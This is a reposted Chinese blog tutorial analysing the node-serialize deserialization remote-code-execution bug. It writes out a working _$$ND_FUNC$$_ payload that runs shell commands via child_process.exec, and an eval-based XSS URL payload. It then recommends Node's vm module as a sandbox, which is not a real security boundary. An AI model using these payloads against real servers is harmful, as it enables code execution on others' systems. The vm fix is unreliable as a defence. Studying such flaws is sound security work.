Node.js 反序列化远程代码执行分析

栏目: Node.js · 发布时间: 5年前

内容简介:最近关注到一些Node.js的漏洞,比较感兴趣的一个反序列化导致远程代码执行的漏洞,个人开发Node.js也有不短时间,决定尝试复现分析它并给出一些开发建议,遂有此文。我使用

Node.js 反序列化远程代码执行分析

最近关注到一些Node.js的漏洞,比较感兴趣的一个反序列化导致远程代码执行的漏洞,个人开发Node.js也有不短时间,决定尝试复现分析它并给出一些开发建议,遂有此文。

漏洞复现

我使用 0.0.4 版本的 node-serialize 进行复现。

首先使用Node.js 自带的 child_process 模块的 exec() 函数构造命令。 child_process.exec() 可以衍生一个 shell 并在shell中执行命令。

const child_process = require('child_process');
child_process.exec('ls /', function(error, stdout, stderr) { console.log(stdout) });

运行上面代码可以得到如下结果:

Node.js 反序列化远程代码执行分析

确定命令可以执行后,构造一个对象,将这个函数放入对象,使用 node-serialize 序列化这个对象。

const serialize = require('node-serialize');
const y = {
  rce : function(){
  require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
  }
 }
console.log("Serialized: n" + serialize.serialize(y));

运行上面代码得到如下结果:

Node.js 反序列化远程代码执行分析

但这只是一个包含可执行函数的对象,并不能执行。尝试将序列化的函数加上括号使其自执行,然后再反序列化对象。

const serialize = require('node-serialize');
const payload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

运行代码可见执行成功:

Node.js 反序列化远程代码执行分析

漏洞分析

问题在 node-serialize/lib/serialize.js 中第75行:

Node.js 反序列化远程代码执行分析

unserialize 函数直接使用 eval() 反序列化JavaScript对象,在JavaScript中, eval() 可以计算一个表达式并且执行它。因此在没有任何保护的情况下,传入的序列化函数对象就被执行了。

Eval is evil

在这里想针对 eval() 多说几句,在研究XSS漏洞的时候,一定见过如下例子:

var getarg = function(){
    var url = window.location.href; 
    var allargs = url.split("?")[1];
    if (allargs!=null && allargs.indexOf("=")>0)
    {
        var args = allargs.split("&"); 
        for(var i=0; i<args.length; i++)
        {
            var arg = args[i].split("="); 
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    }
};

我们可以构造这样的payload形成XSS:

http://domain.com/xxx.html?key=aaa";alert(1);//

那么在Node.js,其实什么都没有变。

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。JavaScript中的很多函数在Node.js中同样适用。Node.js又是一个运行在服务端的JavaScript,在这样的环境中使用 eval() 就会带来更严重的问题。

同样的问题也会出现在 SetTimeout()SetInterval() 这两个函数中,他们的第一个参数可以是字符串也可以是函数。当使用字符串传入恶意内容,到了相应的时间也可以被执行。幸运的是,在Node.js中第一个参数必须是函数。

如何避免

如果你尝试过复现这个漏洞,在执行 npm install node-serialize 时会出现这样的提示:

Node.js 反序列化远程代码执行分析

按照提示执行命令 npm audit 可以得到如下详细信息:

Node.js 反序列化远程代码执行分析

因此在我们使用 npm install 的时候留意一下提示信息是很有必要的。

搜索npm网站,我发现了另一个1000+ star的序列化包,这个包直接没有提供反序列化方法,而是发现了这么一段文字:

Node.js 反序列化远程代码执行分析

好吧,它成功的把隐患留给了你。那么必须使用 eval() 的时候需要注意什么呢?

  • 不要将用户输入的不可信数据直接传入其中

这样的数据包括但不限于用户表单、URL参数、Cookies、Header等。

  • 使用 VM 中的沙箱执行不可信代码

Node.js原生提供一个沙箱,可以使执行环境和当前上下文分离。有关 VM 的具体使用方法可参考 Node.js v10.9.0 Documentation – VM

在这里我将 serialize.jsunserialize 函数抽出,精简一下并使用沙箱实现相同逻辑:

const vm = require('vm');

function unserialize (obj, originObj) {
  const FUNCFLAG = '_$$ND_FUNC$$_';
  let isIndex;
  if (typeof obj === 'string') {
    obj = JSON.parse(obj);
    isIndex = true;
  }
  originObj = originObj || obj;

  const circularTasks = [];
  for(const key in obj) {
    if(obj.hasOwnProperty(key)) {
      if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          let result={};
          const sandbox = { result,FUNCFLAG,obj,key };
          vm.createContext(sandbox); 
          const code = 'result =eval("(" + obj[key].substring(FUNCFLAG.length) + ")")';
          vm.runInContext(code, sandbox);
          obj[key] = sandbox.result;
        } 
      }
    }
  }

  if (isIndex) {
    circularTasks.forEach(function(task) {
      task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
    });
  }
  return obj;
};

实现后,使用正常payload和恶意payload分别调用:

const payload ='{"obj1":1}'
const evilPayload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}';

const result = unserialize(payload);
console.log(result)

const evilResult = unserialize(evilPayload);
console.log(evilResult)

这次使用 evilPayload 调用 unserialize 报错,说明沙箱生效。

Node.js 反序列化远程代码执行分析

参考

  1. Exploiting Node.js deserialization bug for Remote Code Execution
  2. Node.js v10.9.0 Documentation – VM

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

豆瓣,流行的秘密

豆瓣,流行的秘密

黄修源 / 机械工业出版社 / 2009-9 / 29.00

380万人为何会齐聚豆瓣? HIN1和SARS是如何传播扩散开的? 贾君鹏何以快速窜红网络? 通过创新扩散的理论的分析和说明,给出了所有这些问题的答案! 这本书从豆瓣的流行现象说开来,应用了创新扩散等传播学道理来解释了豆瓣如何流行起来,同时作者还同时用创新扩散的理论解释了为何会出现世界变平的现象,长尾理论,SARS病毒的高速传播等。 作者以前任豆瓣设计师的身份以自己亲......一起来看看 《豆瓣,流行的秘密》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

随机密码生成器
随机密码生成器

多种字符组合密码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器